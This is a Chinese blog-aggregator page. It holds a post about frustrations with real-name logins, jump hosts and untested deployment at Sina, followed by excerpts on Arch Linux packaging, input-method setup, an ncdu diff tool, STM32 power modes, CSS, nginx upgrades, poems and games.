所以我非常厌恶实名制。支付宝有个界面会显示身份证姓名,所以不管它说有多少多少优惠我都不去。招商银行 app 开始在主界面显示身份证姓名之后,我也开始尽量避免使用它。

我之前的工作,都不太需要用到身份证上的名字。其实同事之前不用很容易啦。但是在新浪,每天早上一到公司,各种登录名都是那个名字的拼音。而且密码是动态密码,必须手动输入,所以通过编程自动登录是行不通的。

想想看,每天一早,你就不得不面对自己最想遗忘的事情,你还能好好地工作吗?

我跟 HR 的人反映过登录名的问题,然而并没有得到明确的回复。

我当然考虑过改名的事情了。我之前已经在知乎上问过相关问题。我也在利用不多的机会探听父母目前对我改名字的意见。我在意父母的意见,不是因为我有多在乎他们,而是因为改名需要的户口本在他们手里,而且我得在他们附近去办手续。目前看来还好,但是惨痛的经验使我明白,那个人是完全不能以理智所理解和预测的,所以我还是得做好应对最坏的情况的准备。秋天回去改名吧,夏天太热,心力不足,我怕出事。也不知道拿到新身份证之前坐高铁会不会有问题。

跳板机

新浪使用跳板机,上边跑个 script 程序记录用户操作。设计者的意思是,你们只需要在服务器上手敲命令就可以了。但是我需要传文件啊!需要跑脚本啊!在新浪,想往服务器上传个文件,需要以下步骤:

  1. 使用一个脚本把文件上传到专门的服务器
  2. 在跳板机上使用另一个脚本下载文件
  3. 使用 scp 命令把文件传到目标服务器

多了两步。而且这些步骤没办法使用脚本处理,因为没办法从本地在跳板机上执行命令。script 程序的存在使得无法通过 ssh 命令直接执行命令。

有人说,把所有操作放服务器上操作就好了嘛。可是给我服务器的 root 权限来装各种工具吗?而且 CentOS 6 的软件都死旧死旧的,给我换成 Arch?还是自己装需要的版本,然后再也不升级,直到遇到CVE-2017-1000117然后被入侵?然后装好图形界面我 VNC 过去?不然我怎么让服务器里的 Vim 控制我本地的输入法呢?怎么给浏览器发 URL 呢?怎么复制粘贴大段文字呢?

当然了,这个跳板机是不支持密钥登录这么方便的方式的。也不支持普通密码登录。动态密码,看你还怎么用脚本!

这就像,明明你有架飞机可以很快抵达目的地,但是对方规定你必须在他们边境上滚下来,换上马车慢慢走到天荒地老。

不测试,直接上线

开发完毕,然后呢?上线!

没有测试环境。连本地测试环境都没有,因为没人知道那东西怎么搭。真真正正的 push to deploy。连编译期检查都难。颤抖吧,开发者!敲错了一个字符,直接影响到至少 1/3 的用户!

我喜欢 Rust。在 Rust 之前我喜欢 Haskell,虽然它很难。这两门语言的特点是,类型系统很强大,以至于很多时候,类型检查通过了,代码就是正确的。我更喜欢 Rust 的原因之一是,Haskell 有异常。有时候明明通过了类型检查,但是跑起来,BOOM!文件打不开,或者取了空列表里的元素,就崩掉了。在 Rust 里我不可能会忘记处理它们。

我喜欢有信心地开发。开发完成,测试通过,上线。回家安安稳稳地睡觉,休息日放心大胆地不想不看工作上的事情。甚至开发完成,我就可以忘记它的细节,因为我不需要不断地去修各种不小心导致的 bug。我喜欢把 bug 消灭在襁褓之中,而不是等着它潜伏下来,趁人不备狠咬我一口。

所以我讨厌 PHP 扩展的开发。没有文档,只能翻源码。然而我一时半会看不完近千万行的代码。所以我开发完之后根本没把握自己开发的东西能够一直正确地运行下去。我不知道换下一个版本的 PHP 它会不会崩掉。我用 valgrind 检查了,但是我仍然不知道我是不是正确地释放了内存,有没有遗漏,有没有释放了不该我释放的内存。

可是,连最基本简单的测试都没有,我有什么理由认为我的代码不会出问题呢?连 Rust 都要有测试,何况 C?我又不是高德纳,能够洋洋洒洒写一大段代码还没有问题。我刚写好的代码,有明显的错漏也是很正常的事情。软件项目是工程,又不是艺术。我只要在交付的时候保证质量就好了嘛,为什么要求一次就写对呢?

结语

当然,离开新浪还有其它一些因素,我就不说了。

本文关闭评论,因为有些事情,我不介意公开,但并不想持续被提及。

HY's avatar

Android KMS

最近又有不少朋友人向我问起怎么方便的激活Win系统了(果然我就是个修电脑的)_(:3」∠)_ 不过事实上的确, […]
依云's avatar

师者不师,学生不学

本文来自依云's Blog,转载请注明。

忆往昔学生生涯,师者不师,学生不学。

小学二、三年级,数学老师、班主任刘静,年轻女性,脾气暴躁,喜欢用教鞭打讲台上的粉笔,也喜欢体罚。她女儿吴灿也在班上,经常被拖出来家暴。

五、六年级,微机课老师张攀,喜欢成绩优秀的小女生,不喜欢我。问问题当没听见,稍微犯点错就被吼。

四——六年级数学老师曺某,教书死板。试卷要求填空 1/7 < ___ < 1/6。标答是 13/84。而我填 2/13,被判错。然后曺某当着全班同学的面证明 a/b < (a+c)/(b+d) < c/d 不成立,怎么办呢?举例子算。然后算的时候给算成 (a+c) / bd,发现值太小了。于是成功证明 2/13 要么大于 1/6,要么小于 1/7。后来中学的时候,学了不等式,我还专门花时间证明过我的方案是普适的。可是有什么用呢?

初中数学老师兼主任,喜欢揪人耳朵,喜欢叫学生去批阅作业。白打工、没有好处。

初中语文老师、班主任,有次考试我没能按时起床,骑着摩托跑来接我,丝毫不顾我还没睡醒,对发生的事情完全不能理解。

高一英语老师,知识渊博、讲课旁征博引,高二时走了。理由是:眼睛总是红红的,被认为有红眼病;同时教高三太忙。

高二、三英语老师,经常被我质疑试卷的标答。为了维护标答的神圣性,扯各种牵强的理由。

高中语文老师,建议我们多看文学杂志。后来上复习、自习课我看杂志被她收走,看完了再还过来……

高三,学校对高三学生关闭图书馆借阅权限。理由是让学生专心读书备考。

高三,之前一起打乒乓球的伙伴都专心做习题去了。

大学,网页设计课,大作业。我做了纯 CSS3 菜单,以及几个 JavaScript 脚本网页,精心制作了页面内容。但可能因为主题仿照 WordPress 默认主题,又因为紧张讲解得不好,只得了85分。

大学,数据库课。老师心血来潮,在课堂上演示 SQL 查询,结果试了好多次,SQL Server 都报错,无法执行。

大学,网络课老师实践经验丰富、讲课趣味十足。唯一不足的是,网络课内容一展开就丰富无比,他讲课的时间不够用了……然后学生们不喜欢,因为他讲课内容丰富多彩,又不划重点,学生们不知道该为学分背诵哪些内容。

大学,编译原理课,我准备好好学习。但一开始有一个重要的公式有印刷错误,因为没睡好所以去得晚坐后排,教室里闹哄哄的,我一不留神没听清老师说公式要怎么改。于是后边的内容都无法理解了。整个编译原理课就废掉了。

大四,面向对象课试听。老师的观点和讲解非常具有启发性。但是选课学生寥寥无几,因为大部分学生的学分已经够了。

师者不师,学生不学。悲矣。

Jixun Moe's avatar

Windows / Office 2016 一键 KMS 激活

在批处理文件对密钥与服务器地址进行设定,同一局域网/软件环境下就可以一键激活了。

主要还是不想每次都手动输入序列号,挺烦的...

另外如果安装的是 零售版(Retail) 版本 Office,将自动寻找并安装其 KMS 授权文件。

支持正版:购买微软 KMS 授权服务

Fenking's avatar

写在这里的自我说明

本来想要写在说说里 毕竟那是我可以说是唯一的社交平台了吧
但是想想考虑到各种滥竽充数的点赞和等待以及“原来如此”与“啧啧啧”的回答
还是放到这里好了

我的昵称/网名/爱叫什么叫什么好了 是Fenking 佛龛
Fenking不是来自于什么英文沼王,也不是什么xx的爱好者名
单单纯纯是从梦中梦到的名字 没有什么含义 我也没兴趣赋予它什么含义。
Fenking的简写是FK。因此我有时以自已创造什么人物时 会给予其复姓——锋听 并鉴于小时候对金属的痴迷 在锋听后加一个什么金属来命名。

至于佛龛这个名字很奇特。
Fenking来看 佛龛的首字母就是FK。但从年代来看,佛龛的诞生早于Fenking
究竟是在随意浏览宗教文化时找到这个名字呢,还是在看《潜伏》的时候找到这个名字,我自己也不得而知了。

我习惯把汉字往英文后面写。

我一般命名时,用Fenkingxxxx佛龛这种形式,xxxx可以是很多东西。

2016all-Fenking佛龛
没有想好用什么,也就没有追加什么。
2017.1——2017.2-Fenking待宵反射的佛龛
在很多要素下确认了想要做关于幻想与未来的事物,就在东方妖妖梦中摘取了这个名字。
待宵是15的前一天晚上,反射是一种物理现象。【待宵反射卫星斩】是个符卡。但是这个名字很不错。
2017.2——2017.3-Fenking地月联互的佛龛
东方绀珠传早就发售了,他的主题还是体现在地上与月面的相连。幻想和未来就像这地月一般 紧紧相连
所以地月的联互,就是那样的吧。
2017.3——2017.4-Fenking狭间飞行的佛龛
茨木华扇的音乐叫【华狭间的战场】,而星莲船的ex是幻想飞行。贤者与未知能和谐吗?不知道。
但是在狭间飞是什么感觉呢?一边防止碰壁一边规划路线的长时间飞翔吧,就像穿梭在大楼间的战机一样。
2017.4——2017.5-Fenking盈月纪年的佛龛
不再改什么名字了,简单的用了这个。知着自知,不知者无需知。我总觉得我是思想停留在0607年的人。
2017.5——2017.6-Fenking天空皋凭的佛龛
五月的别称是皋月。2017年是东方告出天空璋和凭依华的年份。于是在皋月的我,用这几个字组合了一下。
天空很广阔,能不能凭到,我也不知道。
2017.6——2017.7-Fenking璋盈季华的佛龛
六月的别称是季月。又是天空璋和凭依华呢。不知不觉自己已经习惯于用这种方式来命名了。
盈而华,看上去都是很好的样子,实际上我也不确定。
2017.7——2017.8-Fenking依空流火的佛龛
七月流火,而且又是这两个。读上去朗朗的名称。凭依在空中,流动的火焰,真是动态的象征。
不知道七月的我是不是这样的。
2017.8——?-Fenking未央空凭的佛龛
八月未央,诗经里的句子。空凭是什么感觉呢?那种轻飘飘的感觉,并不是很好。
我的八月可能就是这样,飘忽不定而又目失方向。

 

Others have their destiny,we have our own.
知者自知
还有更多还不能告人的计划在实行。
2017.8.12

's avatar

正则表达式速查表

本文主要记录正则表达式常见的表达式,为方便自己以及各位的日常开发中的使用。
Felix Yan's avatar

尝鲜可能比 sunpinyin 好一点的新拼音输入法

大概很多人还不知道,在老K同学偷偷默默开发了很久后,新一代的 fcitx5 已经“能用”了。不过因为还处在早期开发阶段,现在只有拼音输入法能用,而且输入界面极挫,没有配置界面和任何命令行帮助信息等。

先来一段 demo:

下面简单介绍一下 Arch 里的安装及配置方法:

首先从 AUR 中安装相关的软件包:

yaourt -S fcitx5-git fcitx5-qt-git fcitx5-gtk-git fcitx5-chinese-addons-git

依赖中其他的相关包会被 yaourt 自动安装。如果你更喜欢手动安装,可以参考下面的顺序:

xcb-imdkit-git -> fcitx5-git -> libime-git -> fcitx5-chinese-addons-git -> fcitx5-gtk-git -> fcitx5-qt-git

注意原来的 fcitx 和这系列软件包冲突,可能会被提示卸载。

安装完成后,把下面的内容粘贴到 ~/.config/fcitx5/profile 中(来自老K的博客

[Profile]
# CurrentGroup
CurrentGroup=Default

[Profile/GroupOrder]
0=Default

[Profile/Groups/0]
# Default Input Method
DefaultIM=pinyin
# Layout
Default Layout=us
# Group Name
Name=Default

[Profile/Groups/0/Items/1]
# Layout
Layout=
# Name
Name=pinyin

[Profile/Groups/0/Items/0]
# Layout
Layout=
# Name
Name=keyboard-us

然后修改环境变量如下:

GTK_IM_MODULE=fcitx5
XMODIFIERS=@im=fcitx
QT_IM_MODULE=fcitx5

重启后,可能需要你手动运行一下 fcitx5,然后运行你喜欢的程序测试效果吧~

依云's avatar

谁又用掉了我的磁盘空间?——魔改 ncdu 来对比文件树大小变化

本文来自依云's Blog,转载请注明。

磁盘空间不够用了,或者只是洁癖发作想清理了,可以用 ncdu 来查看到底是什么文件占用了磁盘。ncdu 基于 ncurses,对比 du,更方便交互使用,对比 baobab 这类的 GUI 的工具,ncdu 可以在服务器、Android、树莓派、路由器等没有或者不方便有图形界面的地方跑。

但是呢,我现在有很多很多不同时间的备份,我想知道,是什么东西突然用掉了我好几百兆的空间?我是不是需要把它排除在备份之外?

所以呢,我需要一个支持对比的工具。

本来我是打算什么时候有空了自己写一个的,然而我注意到 ncdu 可以把大小信息保存在文件里。其实我只要对比两个 ncdu 产生的文件,然后照着输出一个差异文件就可以了嘛。不用自己遍历文件树,不用自己做界面,多棒!而且也不一定要像我这样有不同时间的备份才有用。可以定时跑一跑 ncdu,把导出的文件保存起来,将来随时取用。

于是有了 ncdu-diff 脚本

然而事情总是不那么顺利。输出文件拿给 ncdu 加载的时候,ncdu 报错了——它不支持负数。我给它加了支持,然后再加载,BOOM!ncdu 挂掉了……有符号整型和无符号整型的事情,还有格式化输出的事情……总之花了一天,它终于不崩溃了。补丁也放在同一仓库了。

从上图可以看出,Android 的 app 越更新越大……以及深入之后可以发现,微信的动画表情占了我好多好多的空间,我去删掉它们……

给 Arch Linux x86_64 现成的包:下载, 签名

Felix Yan's avatar

Arch Linux devtools 简介 – 在干净的环境里编译软件包

devtools 是 Arch Linux 开发者们用来往官方仓库里推进软件包使用的一系列工具。由于里面有许多工具可能不是我们常用的,这里主要介绍里面的一部分——用于在干净的环境中编译软件包的命令。

为什么要在干净的环境里编译软件包?这里有几个常见的理由:

  • 避免忘记写依赖 – 当前环境中已安装的软件包可能在普通的 makepkg 过程中被忽略,最后在 depends 或者 makedepends 等列表中缺失。
  • 避免编译过程污染环境 – 因为一些你可能没有想到的原因,编译过程中可能会对你当前的系统产生污染,比如跑 npm install 的时候可能会把缓存塞到 $HOME。
  • 避免因环境不干净导致的奇怪编译错误 – 你的环境中可能有各种不干净的情况,比如 profile.d 里覆盖了 gcc 等常见命令、/usr/local/bin 里有覆盖常用命令、用非系统包管理器安装(覆盖)了一些东西等。
  • 或者你只是不想把这个软件包编译时需要的一堆乱七八糟的依赖都装在自己机器上。

如果你有这样的需求,可以考虑使用 devtools。安装过程很简单

pacman -S devtools

下面需要考虑的是,这个软件包是符合哪个仓库规范的。由于一般用户不需要考虑 staging 系列仓库和配置文件等问题,下面这个列表是从 ArchWiki 中简化的版本:

目标仓库 架构 使用命令
extra / community i686 extra-i686-build
extra / community x86_64 extra-x86_64-build
testing / community-testing i686 testing-i686-build
testing / community-testing x86_64 testing-x86_64-build
multilib x86_64 multilib-build
multilib-testing x86_64 multilib-testing-build
archlinuxcn x86_64 archlinuxcn-x86_64-build
archlinuxcn (但有用到 multilib 中的依赖) x86_64 multilib-archlinuxcn-build

(注意最后两个命令来自 devtools-cn-git 软件包,可以从 [archlinuxcn] 仓库中得到)

直接在包含 PKGBUILD 文件的目录中执行对应的命令(替换原来工作流里的 makepkg 命令)即可。

常见问题、小技巧

  • 软件包的依赖不在官方仓库中,如何把这个包“塞”到编译环境中?

extra-x86_64-build -- -I /var/cache/pacman/pkg/your-package-0-x86_64.pkg.tar.xz

  • 如何传入 makepkg 的命令行参数,比如如果我想跳过测试?

extra-x86_64-build -- -- --nocheck

  • 每次重新准备干净 chroot 的过程特别慢,如何可以提速呢?

可以考虑做一个 btrfs 镜像挂载到 /var/lib/archbuild,devtools 会自动使用 btrfs 来加速这个过程。参考制作过程:

truncate -s 100G /var/archbuild.img
mkfs.btrfs /var/archbuild.img
mount -o discard,compress=lzo,autodefrag /var/archbuild.img /var/lib/archbuild
echo "/var/archbuild.img /var/lib/archbuild btrfs defaults,discard,compress=lzo,autodefrag 0 0" >> /etc/fstab

(记得要先清空 /var/lib/archbuild 目录以便作为挂载点。)

's avatar

Data Binding Formatter 的更新

写完第一版的 Data Binding Formatter 后,闲置了快一年,突然我又拾起来更新了下.

使用 IDEA 源码版本查看 Plugin SDK 源码

作为 Java 开发者,看源码是习惯性动作.然而默认情况下,只能看到混淆后的代码.可以按照 JetBrans 的指导将 IDEA 源码附加在 Plugin SDK 上.
值得注意的是,Plugin SDK 依旧需要使用 IDEA 可执行版本,而不能选择源码版本,不然你会得到一片 import 失败的壮观景象(不要问我是怎么知道的)

PSI 相关

PSI 是什么呢?全称是 Program Structure Interface,IDEA 都使用 PSI 表现代码.通过对 PSI 的操作,可以直接修改对应的代码.
有个很好的工具,Tools 下的 PSI viewer,可以查看当前文件的 PSI 组织.不过需要加载至少一个 plugin module 才会显示.可以按照 JetBrans 的指导 强制开启.
Data Binding Formatter 中的 WriterUtil 使用了 增加一整个方法,增加方法的 Annotation,向一个方法内部增加一行语句,增加一个变量等操作.
而且,FieldUtils提供了寻找变量 getter 与 setter 的方法.

Data Binding Formatter

目前 Data Binding Formatter 已经具备了列出所有变量,寻找其 getter 与 setter 判断是否含有 Data Binding 部分.能够自动向现有的 getter 与 setter 增加 Data Binding 部分代码的所有功能.后续可能允许自定义 notifyChange 方法的命名,因为这个明明可能会引发歧义,与其他模板类似的明明冲突.
不过截至目前,Data Binding Formatter 已经比较完善了,可以在各种需要 Data Binding 的地方进行使用www.

Felix Yan's avatar

给 Arch 打一个包 – Python 模块篇

这是一篇简化的教程,如果你有一个喜爱的 Python 模块不在 Arch 仓库里,AUR 里也没有,可以尝试读下去。 准备 对 Python 模块来说,一般仅仅一个 PKGBUILD 文件就足以完成所有的事情。现在你可以打开你最喜欢的文本编辑器,把下面这一个简单的 PKGBUILD 模板复制进去: [crayon-5a0dc6f76eaa2493907230/] 因为距离 Python 2 的废弃时间(2020年)还早,Arch 仓库中的 Python 模块包通常同时提供 Python 2/3 模块。上面例子里的 Python 软件包名叫 whatever,这也同样是它在 PyPI 中的名字。如果原来的包名中包含大写字母,在制作软件包时需要改成小写。 名字和源代码位置 现在你可以开始修改了。首先替换名字,一个简单的方法是首先找到你要处理的软件包的仓库,然后全局查找替换 GitHub URL 和软件包名(如果不在 GitHub 上,就稍微找一下吧)。 注:PyPI 的下载地址一般格式为: [crayon-5a0dc6f76eaa5330048438/] 注意把中间的“喵”换成包名的首字母。 依赖、介绍、授权 现在可以打开代码中的 setup.py 了。如果你看到了 install_requires=,那恭喜你,基本可以参照这个文件的内容(或者它打开的文件)来找到依赖列表。对每一个依赖,先检查一下是否在 Arch 仓库或 AUR 中(大部分都在),如果在的话,更新一下上面的 makedepends 列表和下方 python 2/3 对应的 … Continue reading 给 Arch 打一个包 – Python 模块篇
AlisterTT's avatar

换锁技能Get

前两天办公室木门的锁坏了,钥匙总也插不进去,去楼下修锁那里问了一下说是要换锁芯,一个锁芯80-120RMB不等,回来在京东一查最便宜的才25RMB,想着反正楼道有大门,还有监控,换个最便宜的足矣。

店家的锁芯有29mm和32.5mm两种规格,区别就锁芯正面的高度。

上油管搜了一个换锁的教学视频,轻轻松松5分钟换好锁。

's avatar

吐槽大王部落格 五周年了

从 2012 年 8 月 10 日,到 2017 年 8 月 10 日。

本博客居然在当年新增的那堆独立博客中坚持到了现在。

好耶。

SgDylan's avatar

导出 nginx 自动目录的链接到 aria2

不多说废话,就是一个 Javascript 插件,实现的功能如标题所说。
在 tampermonkey 上运行正常,暂时没有发现 BUG。
用不惯 rsync 的可以试试用这个用从 seedbox 拖文件。

依赖组件:

  • nginx 配置有 basicauth
  • nginx 使用 phuslu 编写的 autoindex 进行自动列目录

安装方法:

  1. 下载脚本本体 NginxAutoindexExpoter
  2. 修改脚本第 7 行为自己的 seedbox 地址;
  3. 修改脚本第 14 行为自己 aria2 使用的 rpc 地址;
  4. 修改脚本第 15 行为自己使用的 basicauth 加密字符串;
  5. 保存脚本,拖到 Chrome 完成安装。

本脚本包含 @binux 编写的 ThunderLixianExporter 的部分代码,在此表示感谢。
Javascript 初心者,还请julao们不要吐槽代码质量。

License:
NginxAutoindexExpoter is licensed under GNU Lesser General Public License.
You may get a copy of the GNU Lesser General Public License from http://www.gnu.org/licenses/lgpl.txt

IceHoney Blog's avatar

CSS技巧和工作总结

工作确实是两点一线的生活。而且偶尔还加班,不过也算是正规的做一些东西了,个人成长来说也还不错。很多稍微有深度的知识也有所接触。于是想写点东西记录下自己的成长。以后再回顾的时候也算有所收获。

CSS层叠水平

CSS的层叠看起来很简单,可以通过z-index来进行调整,但是实际上并没有那么简单。层叠水平总共有7阶,我们实际在使用中的时候要充分考虑。

  1. 形成堆叠上下文环境的元素的背景与边框
  2. 拥有负 z-index 的子堆叠上下文元素 (负的越高越堆叠层级越低)
  3. 正常流式布局,非 inline-block,无 position 定位(static除外)的子元素
  4. 无 position 定位(static除外)的 float 浮动元素
  5. 正常流式布局, inline-block元素,无 position 定位(static除外)的子元素(包括 display:table 和 display:inline )
  6. 拥有 z-index:0 的子堆叠上下文元素
  7. 拥有正 z-index: 的子堆叠上下文元素(正的越低越堆叠层级越低)

这里有个重点概念是堆叠上下文,那么元素是如何形成堆叠上下文呢?

  1. 根元素 (HTML)
  2. z-index 值不为 "auto"的 绝对/相对定位
  3. 一个 z-index 值不为 "auto"的 flex 项目 (flex item),即:父元素 display: flex|inline-flex
  4. opacity 属性值小于 1 的元素
  5. transform 属性值不为 "none"的元素
  6. mix-blend-mode 属性值不为 "normal"的元素
  7. filter值不为“none”的元素
  8. perspective值不为“none”的元素
  9. isolation 属性被设置为 "isolate"的元素
  10. position: fixed
  11. 在 will-change 中指定了任意 CSS 属性,即便你没有直接指定这些属性的值
  12. -webkit-overflow-scrolling 属性被设置 "touch"的元素

如果符合上面规则,会形成层叠上下文。层叠上下文的背景一定是最下面的,想要通过z-index来调整浮动在其他元素上方是不可能的。

DOM Ready

如果巧妙的在DOM加载完成之后来执行JS呢,最简单的方法是把JS放在body的最下方。但这样处理有些麻烦,最简单的方法是使用setTimeout方法,设置延迟时间为0。延迟时间为0并不意味着这段代码会立即执行,而是等到所有JS加载和执行完毕,DOM也加载完毕的时候才执行。

Safari Scroll

手机版Safari在滑动的时候如果有动画执行,会导致整个页面空白。当滑动结束的时候才会渲染。我们不得不采用给所有元素添加transform: translate3d(0,0,0)属性, 来使Safari强制使用GPU加速。

CSS动画性能加速

CSS动画尽量使用transform: translate3d(0,0,0)来实现,因为ransform3d api会强制开启GPU加速提高页面的流畅度。在公司的项目中,从使用background-position进行动画效果换成transform之后,动画流畅度得到了显著的改善。

参考:

Stack Overflow

The stacking context

层叠顺序(stacking level)与堆栈上下文(stacking context)知多少?

Jixun Moe's avatar

修正评论无法提交问题

具体表现为:提交评论时产生 500 错误,按下提交按钮无反应。

因为托管 isso 的服务器硬盘被日志文件塞满了,因此无法正常提交评论。

清理日志以及一些不需要的文件后已经恢复正常。

对此造成的不便敬请谅解。

's avatar

(SC-55) Valkyrie: The Power Beauties 的游戏音乐

|PC-98 游戏 Valkyrie: The Power Beauties 的 BGM 真是太好听了!

为了方便在手机上播放 SC-55 (General MIDI) 版,我把它们渲染成了 aac 格式。

ホロ's avatar

某胡言乱语的 IRC 教程

某个胡言乱语爪牙无措不知所云的 IRC 教程

ホロ's avatar

用内置硬盘安装 Arch Linux

用内置硬盘安装 Arch Linux,但是为啥不去买个 U 盘呢?😂

准备原材料

  • 就一个 ArchISO 😂
  • 用磁盘管理(或者其它汝中意的分区软件)分出一个比 ISO 大的分区,然后格式化成 FAT32。

在 Windows 中挂载 ESP

用 diskpart 就好啦 ……

diskpart
list disk # 列出硬盘
select disk 0 # 选择一块硬盘 (一般内置硬盘都是第0块)
list partition # 列出分区
select partition 1 # 选择一个分区
assign letter=b # 分配一个盘符
exit

或者 mountvol 😂

mountvol b: /s # 把 b: 换成一个没在用的盘符

然后以管理员身份重启文件资源管理器(不然写不进去 😂)

taskkill /im explorer.exe /f
explorer.exe

准备文件

  • 把 Arch ISO 的文件复制到新的分区上,然后照着 ISO 改一下卷标 😂
  • 把 Arch ISO 里的 EFI/boot/bootx64.efi 复制到 ESP 的EFI/boot/bootx64.efi 上(记得备份),需要的话也可以把 EFI Shell 复制过来。

  • 把 Arch ISO 里的 arch/boot/x86_64 文件夹原样复制到 ESP 上(需要 microcode 更新的可以带上 arch/boot/intel-ucode.img

  • 把 Arch ISO 里的 loader 文件夹原样复制到 ESP 上 😂

    如果没复制 arch/boot/intel-ucode.img 的话,去 archiso-x86-64.conf 把 initrd /arch/boot/intel_ucode.img 删掉(


然后重启试试? 😂

HY's avatar

Death Mark

死印通关了,于是写点简单的感想_(:3」∠)_ 这是一部日式夏日怪谈风格的作品。游戏中失去记忆的男主不断和其他 […]
imi415's avatar

STM32F103 High Density设备RTC挖坑记录(1)

概述

最近手头的项目涉及到了低功率的数据采集及传输,于是就要折腾STM32的低功耗模式了。STM32F103x的低功耗模式有如下三种,Sleep模式,Stop模式以及Standby模式,其特性如下。

Sleep模式:
  • 低功耗,唤醒时间短
  • 利用ARM Cortex-M3的 WFI(Wake From Interrupt)/WFE(Wake From Event)特性
  • CPU主时钟关闭,SRAM内容及外设状态保留
  • SysTick继续,NVIC仍响应外设中断
  • 唤醒条件:WFI模式下CPU可由任意中断唤醒,WFE模式需要Wakeup Event
Stop模式:
  • 更低功耗,唤醒时间稍长
  • 由Cortex-M3的Deepsleep特性与外设结合
  • 1.8V域时钟停止,PLL,HSE与HSI关闭,CPU电压调节器置于低功耗模式
  • SRAM及外设状态保留
  • 唤醒条件:预先设置的EXTI外部中断
Standby模式:
  • 最低功耗,唤醒时间最长(几乎等于RESET)
  • 1.8V域完全断电
  • SRAM内容及外设状态丢失
  • 备份域(RTC及备份寄存器等)
ホロ's avatar

给 GNU/Linux 萌新的 Arch Linux 安装指南

给会用点 Windows 的彻头彻尾的 GNU/Linux 新手的 Arch Linux 安装指南 😣

ホロ's avatar

存在理论和堕落之狼(

嗯没错这标题是瞎连的 😂

啊又鸽了一个月啦……

挖坑不填去摸鱼(

除了之前就开了然后一直没填的一把坑以外又在妄想扩写提问的智慧了……

然而自己似乎智慧不足的样子 😭

https://wiki.yoitsu.moe/wiki/Portal:Ask 🌲🍃

^ 就是这个……

还用更新的 Telegram Bot API 糊了一个 Titlebot ,然后瞬间被更圆的轮子打败, 于是弃坑……

#uselessasme

堕落之中被惊醒(

“你这样是学不到东西的!” -- 某个地方的某人

是啊,所以 IIDX 打到 SP 五段并没有什么用处(哪怕皆了又有啥用, 更何况咱这种十分之一吊子还没有皆传的能力 😔)

最近周围开始有人打赛尔达传说了呢,然而咱不管是 3DS 还是 Switch 都没有啊 😂

LL 和 CGSS 不会组卡啊~

所以咱连个休闲玩家都算不上……

#badskillasme

计划? 不存在的)

  • 反正不会计划

  • 计划了也不会去实施

  • 实施了也不一定达到目标

  • 😂

    #noplanasme


所以干点啥好呢……

Jixun Moe's avatar

搭了个问题报告系统

Mantis 错误报告系统:bugs.jixun.moe

目前就放了一个关于 RabiRibi 修改器Issue,省得自己老是忘记..

游客可以围观,报告问题需要注册一个账号(你也可以直接在博客文章评论就是..),找了半天不知道在哪给新注册用户设定发帖权限... 就这样吧

Liu Yuyang's avatar

无所住而生其心

记一些诗
神楽坂伊織's avatar

俺说游戏EP06:我们的光环!

今天好好聊聊《光环》!
liwanglin12's avatar

黄昏

 

他用一种慈祥的姿态在高处安抚着你

他铺开巨大的过滤网层层信仰奢靡

他大义凌然地宣布要把纯净筛留给你

过滤得只剩下了残骸还要你歌颂感激

 

你终其一生想找到理由去热爱脚下的土地

他为其定义的伟大 对你有什么意义

你所能做的只是在奔跑中保护好你自己

你想要感受到他爱你 愿他别去伤害你

 

他庞大的身躯压垮了多少初生的纯良

他曾有的灵魂矗立在远方冷漠地观望

他费力塑造的繁华成为装扮阴暗面的假象

他毁掉的美好在不久的将来变成了疯狂

 

你终其一生想找到理由去热爱脚下的土地

他为其定义的伟大 对你有什么意义

你所能做的只是在奔跑中保护好你自己

你想要感受到他爱你 愿他别去伤害你

你终其一生找不到理由去热爱脚下的土地

传说中这里的强大是你生命的全部意义

你所能做的只是在奔跑中保护好你自己

你想要感受到他爱你 愿他别去伤害你

 

“这首歌我当初在写的时候为了防止它被和谐,所以就说它是一首关于父权的,家庭暴力的歌,其实并不仅仅关于此,叫做《黄昏》。” ——知乎

-EOF-

Kouga's avatar

Update nginx under ubuntu 16.04

因为刚刚在 V2EX 看到的 nginx 爆出了中度危险漏洞,于是决定将正在用的nginx服务都升个级喵~

默认 Ubuntu 自带的 nginx 都比较 out, 正确的姿势是从官方源安装

  • /etc/apt/sources.list.d/ 下添加一个 nginx.list 文件,内容如下:
deb http://nginx.org/packages/mainline/ubuntu/ xenial nginx  
deb-src http://nginx.org/packages/mainline/ubuntu/ xenial nginx  
  • 添加 nginx 的 key,并更新 apt
curl http://nginx.org/keys/nginx_signing.key | sudo apt-key add  
sudo apt update  
  • 需要注意的是,Ubuntu 自带的 nginx 系列模组会干扰nginx本体安装,所以先备份配置文件,删除ubuntu的默认模组,再重装nginx
sudo cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak  
sudo apt remove nginx nginx-common nginx-full nginx-core  
sudo apt install nginx  
sudo rm /etc/nginx/nginx.conf  
sudo cp /etc/nginx/nginx.conf.bak /etc/nginx/nginx.conf  
  • 另外一点是此时 nginx 被 mask 了……解除并重启它:
sudo systemctl unmask nginx  
sudo systemctl start nginx  
  • 测试无误后,加上重启自启动
sudo systemctl enable nginx  
Liu Yuyang's avatar

给MBP用户的Ubuntu GNOME 17.04 安装配置指南

GNOME 大法好
Jixun Moe's avatar

100% 橙汁修改器更新 (2.6)

更新 2.6

游戏发布了新版本,修改器进行了相应的维护性更新。

没有新增功能,仅修复了游戏版本更新带来的兼容性问题。

100% Orange Juice 修改器

神楽坂伊織's avatar

俺说游戏EP05:一期尬聊节目!

《俺说游戏》回来啦!而且带来了一位嘉宾!
这是一期聊天节目,并且全程尬聊!
诸君请随便听听就好!
's avatar

Xperia XZ Premium

我三年前的 Galaxy S5 逐渐向不可用的方向发展,于是需要换新手机了。

索尼的 Xperia XZ Premium 实在是太帅了,大概是所有骁龙 835 旗舰机中唯一一款第一眼就看中的:全玻璃镜面机身、接近原版 AOSP 的官方固件、3.5mm 耳机孔,以及靠谱一点的系统更新,但更重要的是可以体验索尼大法的力量

于是下单,把国行双卡版 (G8142) 抱回了家。

等机器真的到手时,才发现实物比图片还漂亮,感受跟我三年前拿到 Galaxy S5 时比起来实在是强太多了。不过母上大人说手机拿起来好滑,不过我没有这种感觉,大概是我手汗比较多吧。


开机以后,那系统实在是流畅的让人窒息,比 TouchWiz 强多了。更重要的是,这是官方固件。这才是我心目中的 Android 呢!

不过国行固件并没有 GMS,而且内置了百度全家桶(虽然可以很方便地停用)。我不想解 Bootloader 锁和 root,于是决定刷港版固件。

于是我用 Xperifirm 下载了港版固件,照着 Google 搜到的 Flashtool 教程开始刷机,然后卡在了奇怪的地方——

01/031/2017 13:31:23 - INFO  - (MainSWT.java:154) - Device disconnected
